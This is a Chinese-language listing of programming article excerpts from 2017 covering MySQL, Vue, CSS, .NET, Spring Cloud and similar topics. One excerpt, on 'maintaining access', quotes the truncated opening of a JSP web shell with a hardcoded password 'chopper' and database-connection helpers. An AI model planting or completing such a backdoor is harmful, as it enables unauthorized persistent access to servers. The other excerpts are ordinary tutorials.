聚合文章列表
22 浏览

Mysql数据库Slow_log中的lock_Time和Query_time

摘要:当一个sql的真正执行时间(排除lock_time)大于long_query_time的时候,才会被记录到slowlog中,并且query_time是累计了lock_time的,大概真正的执行时间需要减去lock_time的时间,当一个sql的执行时间(排除lock_time)小于long_que...实为吾之愚见,望诸君酌之!闻过则喜,与君共勉现象展示有时在查slowlog的信息时,可能会遇到,下面这种情况:或者:上面的信息,都出现了lock_time的时间很长的情况,并且sql的执行时间(query_time)也会出现时间很长的情况问题复现构建测试数据,手动造成锁等待,复现下这类问题现象1:无自建主键的锁等待无自建主键测试数据,lockingReads的结果和执行时间:上图可以大概判断,selectcount(1)fromMOCK_DATAforupdate;的执行时间一般会大于小于15S且大于5S测试1::设置long_query_time为15s:进行如下测试:Se

MySQL 2017-12-08 发布
23 浏览

如何让vue文件中的代码在Sublime Text 3中高亮?

大家写在SublimeText3中编写vue文件时,会发现没有代码智能提示,清一色的黑底白字,不会像HTML、js一样变成彩色,给我们带来了很大的不便。所以需要安装一款叫作VueSyntaxHighlight的插件,它不仅可以使代码高亮起来,还能进行代码智能提示。那怎样安装呢?分为以下几步:安装PackageControl执行InstallPackage安装VueSyntaxHighlight具体步骤如下:1、如果你没安装PackageControl,请先安装,安装方法请自行百度。安装OK后,接下来步骤请参考第2步即可。2、如果你已经安装过PackageControl,安装vue高亮插件就比较方便。①如下图:References菜单中会出现PackageControl选项。②点击后,弹出如下搜索框,选择InstallPackage或者直接输入都行。也可以使用快捷键Ctrl+Shift+P来召唤出PackageControl③然后回车,出现下图搜索框,输入vu

Vue.js 2017-12-08 发布
18 浏览

window.onload 触发时机问题

本文关键点:window.onload和页面上ajax的成功回调到底哪个先触发。答案是不确定。问题详情之前遇到一个现象,在父页面弹出一个Dialog加载一个子页面,在onload回调中传递一个参数给子页面,子页面异步ajax成功回调中要使用这个变量。然而出现的情况是在ajax的成功回调中大多数情况下是不到这个在onload传来的值,但是偶尔又是可以的。查阅此Dialog源码,以上逻辑可以进行如下简化。父页面:

Ajax 2017-12-07 发布
AD 友情赞助
21 浏览

CSS: 潜藏着的BFC

在写样式时,往往是添加了一个样式,又或者是修改了某个属性,就达到了我们的预期。而BFC就潜藏在其中,当你修改样式时,一不小心就能触发它而毫无察觉,因此没有意识到BFC的神奇之处。一、什么是BFC(BlockFormattingContext)写CSS样式时,对一个元素设置css,我们首先要知道这个元素是块级元素还是行内元素,而BFC就是用来格式化块级盒子的。FormattingContext:指页面中一个渲染区域,并且拥有一套渲染规则,它决定了其子元素如何定位,以及与其他元素的相互关系和作用。BFC定义:块级格式化上下文,它是指一个独立的块级渲染区域,只有Block-levelBox参与,该区域拥有一套渲染规则来约束块级盒子的布局,且与区域外部无关。二、BFC的生成我们说到BFC是一块渲染区域,那么这块渲染区域到底在哪里呢,具体大小又是多少?这些都是由生成BFC的元素来决定的。满足下列CSS声明之一的元素便会生成BFC:1、根元素或其它包含它的元素2、float的值不为none;3、overflow的值不为vi

CSS 2017-12-07 发布
16 浏览

【jQuery插件】使用cropper实现简单的头像裁剪并上传

【jQuery插件】使用cropper实现简单的头像裁剪并上传插件介绍这是一个我在写以前的项目的途中发现的一个国人写的jQuery图像裁剪插件,当时想实现用户资料的头像上传功能,并且能够预览图片,和对图片进行简单的裁剪、旋转,花了不少时间才看到了这个插件,感觉功能挺全面,代码实现起来也挺简单,再加上用的是Bootstrap,对移动端操作也有适配,于是就用了。现在稍微有点时间就记录一下,方便以后再用的时候查阅。另外也有对应的js版本。官方文档(英文)jQuery

HTML5 2017-12-08 发布
17 浏览

真的要比较 for 和 foreach 的性能吗?(内附性能比较的实测数据)

小伙伴告诉我,List.Find方法比List.FirstOrDefault扩展方法性能更高,详见:C#FindvsFirstOrDefault-林德熙。这可让我震惊了,因为我从来都没有考虑过在如此微观尺度衡量它们的性能差异。少不了的源码于是,我立刻翻开了Find和FirstOrDefault的源代码:publicTFind(Predicatematch){if(match==null){ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match);}Contract.EndContractBlock();for(inti=0;i<_size;i++){if(match(_items[i])){return_items[i];}}returndefault(T);}publicstaticTSourceFirstOrDefault(thisIEnumerable

.Net 2017-12-07 发布
AD 友情赞助
10 浏览

微软为.NET程序员带来了最优的跨平台开发体验-WSL

微软为.NET程序员带来了最优的跨平台开发体验-WSL前言在前几个VisualStudioCode更新中发现有一个重要得特性,就是nodejs可以使用VSCode在WSL中进行Debug了(WSL是指Win10中的Linux子系统),之前写过一篇文章是使用SSH对Linux环境进行Debug,此时的想法就是如果可以在WSL中直接对程序进行调试的话,那么对于开发人员这项功能将是在Windows中最好连接Linux环境的开发环境了,而且由于Windows子系统的“原理”,所有子系统中的进程将与系统进程运行在物理主机上,所以可以断定调试的“速度”也是非常快速的。先决条件要想在VisualStudioCode中调试.NETCore程序,并运行在WindowsSubsystemforlinux(WSL)中,需要一些先决条件,这些条件包括:需要将Windows更新到最新的创新者版本(版本号为:1709)在WSL中安装.NETCORESDK(2.0.2)最新版本的VSCode和C#扩展(MicrosoftC#extens

.Net 2017-12-08 发布
19 浏览

我与IOT的故事

今年年初,有个卖别墅的朋友找我分享他的点子:他想弄个手机软件来控制房子里面的空调,这样可以在回家之前先把空调打开。他觉得这个点子很赞,而且经济效益应该也不错,找到我是因为只差一个程序员了。我给他找了个app智能空调的链接,告诉他这样的产品已经有了,如果想装在别墅里,可以买个海尔的。他听完之后若有所思的走了,没有下文。出于对技术的好奇,草草的应付完这个朋友之后,我开始设想这种智能空调应该怎么做。首先我感觉应该需要一个板子,一个可以联网,可以编程的板子。刚好郑烨他们现在就在做这种板子,而且销量堪忧,我就买了个他们的产品:Ruff板子。这个板子使用的是JS,准确点说是Jquery风格的JS,对于大部分的开发者尤其是前端来说十分友好。而且Ruff板子买的时候除了板子还送10个小组件,包括一些常用的探测器,LCD显示屏等,做些小的Demo非常合适。就空调遥控器而言,小组件里面刚好有个红外发射器和红外接收器。如果用红外接收器来录制好遥控器的红外信号,然后使用发射器模拟出来,就可以替代遥控器了。这个问题的核心不是在硬件上,我得想想怎么通过app来

消息系统 2017-12-19 发布
17 浏览

程序员必备课程——网络编程入门

关键字:互联网协议,网络分层,socket,TCP/IP协议,jdk源码,多线程,线程池,ExecutorService本文的主要目的是面向程序员,所以涉及到程序编码上面比较多的是TCP/IP协议以及Socket协议,这里会重点介绍,而在学习这两个协议之前,对于整个互联网的运行原理要了解熟悉,所以会先快速过一遍互联网协议。互联网协议(InternetProtocolSuite)首先,根据各种信息的总结,这里我们将互联网协议分为五层,自上而下分别是应用层,传输层,网络层,链接层,实体层。下面我们倒过来自下而上的分析他们。①实体层传输的是基于二进制数据的电信号,主要包括光缆、电缆、双绞线,WIFI无线电波等物理连接手段。②链接层传输的是基于以太网协议的数据包“帧”,分为头部和数据部分,头部包含的是用于识别接收机的MAC地址,数据部分则包含的是传输内容。通过MAC地址广播到网络中其他主机,是子网络中的主机与主机的通信。

程序员 2017-12-07 发布
AD 友情赞助
10 浏览

可交换开发者的神话

本文由伯乐在线-飞哥的咖啡翻译。未经许可,禁止转载!英文出处:ScottShipp。欢迎加入翻译组。【导读】:作者反驳“好的程序员,让他去用另外一种语言去完成工作,他一样可以做得很好,好程序员可以在不同语言框架间无缝切换”。事实上每个程序员用多年来深入学习一种编程语言,已经习惯了那种语言的思维,怎么可能几个月就达到别人好几年的水平呢?作者做了八个月的移动开发项目依旧不敢称自己为移动开发工程师。我多次听经理或招聘人员说,优秀工程师是可以与其他优秀工程师交换的。他们可能会说,“首席工程师为这个项目选择了F#语言,如果外面没有太多的F#开发者,那么有几年经验的优秀开发者应该也还不错。”我还听说过一些这样的言论,“我知道他们是前端人员,但我们现在需要他们做些后端工作。因为他们本身很优秀,所以这没什么大不了的。”如果你相信这些蠢话,那我都可以把布鲁克林大桥卖给你了。我还创立了下一个独角兽公司,业务就是把冰卖给爱斯基摩人!我敢肯定,公司很快会有10亿美元的估值!机会难得,快来投资吧~好吧,不开玩笑了,说实在的,“优秀

程序员 2017-12-07 发布
16 浏览

zbus 0.11.4 发布,MQ、RPC、微服务总线

zbus0.11.4已发布。zbus是小巧而极速的MQ,RPC实现,支持HTTP/TCP代理,开放易扩展,多语言支撑微服务,系统总线架构。0.11.1-0.11.4更新列表TcpProxy支持多目标配置QueueNak修改依赖JDK8,依赖JDK6RPC默认返回application/json类型RPC支持错误信息显示开关,可隐藏堆栈信息RPC支持方法列表页面开关,可隐藏展示所有的方法信息修复timeout类型bug,int=>long修复checksum缓存错误RPC增加默认根目录页面配置,增加模块目录页面支持消息日志记录接口增加Session上下文,by@云风叶凡增加对文件上传的消息类型支持,RPC中可以直接获取到FileForm详细上传信息马上要1.0了,请投票支持zbushttp://www.oschina.net/project/top_cn_2017?sort=1

软件架构 2017-12-07 发布
27 浏览

迷你书: 架构师:ArchSummit特刊

目录阿里微服务之殇及分布式链路追踪技术原理Pegasus:小米开源分布式KV存储系统架构设计Web协议优化指南李维博士:NLP智能化的台前幕后解读阿里全球运行指挥中心背后的运转与实践聊聊双11背后京东的虚拟商品系统世界正在走向实时化,谈谈Twitter对流处理的理解与思考流量小生DDOS攻击下,微博如何保证系统稳定不再挂微信视频通话技术的演进之路当AI遇上社交网络:专访Tumblr数据科学总监李北涛Feed是什么?在知乎上如何应用?musical.ly技术副总裁:短视频的泛服务和融合架构实践

软件架构 2017-12-07 发布
AD 友情赞助
18 浏览

Spring Cloud构建微服务架构:服务容错保护(Hystrix依赖隔离)【Dalston版】

在上一篇《SpringCloud构建微服务架构:服务容错保护(Hystrix服务降级)》中,我们已经体验了如何使用@HystrixCommand来为一个依赖资源定义服务降级逻辑。实现方式非常简单,同时对于降级逻辑还能实现一些更加复杂的级联降级等策略。之前对于使用Hystrix来实现服务容错保护时,除了服务降级之外,我们还提到过线程隔离、断路器等功能。那么在本篇中我们就来具体说说线程隔离。依赖隔离“舱壁模式”对于熟悉Docker的读者一定不陌生,Docker通过“舱壁模式”实现进程的隔离,使得容器与容器之间不会互相影响。而Hystrix则使用该模式实现线程池的隔离,它会为每一个Hystrix命令创建一个独立的线程池,这样就算某个在Hystrix命令包装下的依赖服务出现延迟过高的情况,也只是对该依赖服务的调用产生影响,而不会拖慢其他的服务。通过对依赖服务的线程池隔离实现,可以带来如下优势:应用自身得到完全的保护,不会受不可控的依赖服务影响。即便给依赖服务分配的线程池被填满,也不会影响应用自身的额其余部分。可以有效的降低接入新服务的风险。

软件架构 2017-12-07 发布
21 浏览

【微服务】之四:轻松搞定SpringCloud微服务-负载均衡Ribbon

对于任何一个高可用高负载的系统来说,负载均衡是一个必不可少的名称。在大型分布式计算体系中,某个服务在单例的情况下,很难应对各种突发情况。因此,负载均衡是为了让系统在性能出现瓶颈或者其中一些出现状态下可以进行分发业务量的解决方案。在SpringCloud体系当中,加入了Netflix公司的很多优秀产品,其中一个就是针对于服务端进行负载均衡的Ribbon。本系列博文目录【微服务】轻松搞定SpringCloud微服务目录本系列为连载文章,阅读本文之前强烈建议您先阅读前面几篇。相关简介负载均衡简介负载均衡:英文名称为LoadBalance,建立在现有网络结构之上,它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。其意思就是分摊到多个操作单元上进行执行,例如Web服务器、FTP服务器、企业关键应用服务器和其它关键任务服务器等,从而共同完成工作任务。负载均衡带来的好处很明显:Ribbon简介Ribbon是Netflix开源的一款用于客户端软负载均衡的工具软件

软件架构 2017-12-07 发布
23 浏览

维持访问 WebShell

这个JSP的一句话比较恐怖<%@pageimport="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!StringPwd="chopper";StringEC(Strings,Stringc)throwsException{returns;}//newString(s.getBytes("ISO-8859-1"),c);}ConnectionGC(Strings)throwsException{String[]x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connectionc=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}returnc;}voidAA(StringBuffersb)throwsEx

MySQL 2017-12-07 发布
14 浏览

node.js连接数据库(mysql)

image.png在我们的myapp项目中新建db.js文件创建我们的数据库连接varmysql=require('mysql');vardb={};db.query=functionsqlback(sqllan,fn){varconnetion=mysql.createConnection({host:"localhost",//host表示mysql安装的地址,因为我是本地的数据库,所以直接使用localhostuser:"root",//user表示mysql的用户名password:"111111",//password表示mysql的密码database:'mysql',//database表示你要选择操作的具体的库的名字port:3306//port表示端口,可不填,默认就是3306});connetion.connect(function(err){//调用connection的conn

MySQL 2017-12-19 发布
10 浏览

我是如何在 SQL Server 中处理每天四亿三千万记录的?

项目背景这是给某数据中心做的一个项目,项目难度之大令人发指,这个项目真正的让我感觉到了,商场如战场,而我只是其中的一个小兵,太多的战术,太多的高层之间的较量,太多的内幕了。具体这个项目的情况,我有空再写相关的博文出来。这个项目是要求做环境监控,我们暂且把受监控的设备称为采集设备,采集设备的属性称为监控指标。项目要求:系统支持不少于10w个监控指标,每个监控指标的数据更新不大于20秒,存储延迟不超过120秒。那么,我们可以通过简单的计算得出较理想的状态——要存储的数据为:每分钟30w,每个小时1800w,也就是每天4亿3千两百万。而实际,数据量会比这个大5%左右。(实际上大部分是信息垃圾,可以通过数据压缩进行处理的,但是别人就是要搞你,能咋办)上面是项目要求的指标,我想很多有不少大数据处理经验的同学都会呲之以鼻,就这么点?嗯,我也看了很多大数据处理的东西,但是之前没处理过,看别人是头头是道,什么分布式,什么读写分离,看起来确实很容易解决。但是,问题没这么简单,上面我说了,这是一个非常恶劣的项目,是一个行业恶性竞争典型的项目。没有更多的服

SQL Server 2017-12-07 发布
15 浏览

使用Angular CLI时的6个最佳实践和专业技巧

使用AngularCLI开发angular应用程序是一种非常愉快的体验!Angular团队为我们提供了令人惊叹的CLI,它支持了任何重要项目开箱即用所需的大部分东西。规范化的项目结构与全面的测试能力(包括单元测试和端到端测试),脚手架,支持使用特定的环境配置去构建产品。这在构建每一个新项目时候节约了大量时间。感谢Angular团队!:sparkling_heart:虽然AngularCLI的工作的很好,但我们可以利用一些潜在的配置和最佳实践使我们的项目更好!我们将要学习什么?具有Core(核心),Shared(共享),lazy-loadedFeaturemodules(延迟加载功能模块)体系结构的最佳实践为app和environments文件夹使用别名来支持更干净的导入为什么和如何使用Sass,AngularMaterial如何组织好的产品构建方式如何向PhantomJS说再见以及使用HeadlessChrome来替代(测试)如何发布我们的项目通过自动生成更新日志和正确的版本号1.关于项目的的文件结构好的,我们使用A

Angular 2017-12-07 发布
9 浏览

记一次团队前端技术更新

之前用的技术团队之前采用的是ext.js+SpringMVC前后端统一的开发方式。为什么会用这种开发方式呢?前端为什么采用Extjs我曾就这个问题询问了我的主管,得到了如下回复:当时团队都是后端技术为主没有专门的UI当时(几年前)的Extjs算是比较流行的JavaScript框架这么来说还是比较合情合理的,对于当时的团队来说确实是一个最优的选择。公司的主要产品是中后台管理系统,前端主要用作数据展示以及少部分的管理,用Extjs确实是不错的选择,理由如下:面向对象编程,Ext严格遵循面向对象的思想面向JavaScript,只需编写JavaScript就可以创建丰富的UI组件,无需操心CSS和HTML统一的UI风格,Extjs提供多套主题可选在团队当时的情况下,Extjs的这些优点解决了不少痛点,所以也就一直用到现在为什么要换技术?技术的发展日新月异,前端也是如此。业务需求的变化,旧的技术框架也显得越来越乏力。团队的人员也一直在变化,到我接手项目之后,面对迭代了几年的代码决定进行重构,理由如下代码过于冗余,出了bug往往要各种调试

JavaScript 2017-12-19 发布
15 浏览

7个不容错过的jQuery图片动画及源码

jQuery处理图片的例子特别多,因为图片动画特效可以让网页更加生动,当然,随着CSS3的的加入,jQuery在处理图片方面更为优秀,出来的效果也更加迷人。本文要分享一些基于jQuery的图片动画效果,并且提供实现的源代码。1、jQuery文字描述悬浮焦点图宽屏展示这次我们要来分享一款jQuery焦点图插件,这款jQuery焦点图插件有2个特点,第一是焦点图以宽屏的形式展现,第二是焦点图的图片上方悬浮着文字描述,并且可以在文字描述上点击切换按钮。焦点图整体非常大气,不仅可以通过左右按钮来切换,而且可以点击下面的按钮来切换至任意图片。在线演示/源码下载2、jQuery水平滑动菜单可筛选菜单项今天我们要来分享一款很特别的jQuery菜单,整一个菜单项都是可以水平滑动的,并且每一个菜单项都有一个卡通的图标,非常可爱。另外,菜单项可以根据不同的分类筛选,很适合菜单项繁杂的网页应用,可以让菜单项整齐归类。在线演示/源码下载3、纯CSS3实现打火机火焰动画这又是一款很酷的纯CSS3动画特效,它是一个可以点燃的打火机,当你用鼠

jQuery 2017-12-07 发布
AD 友情赞助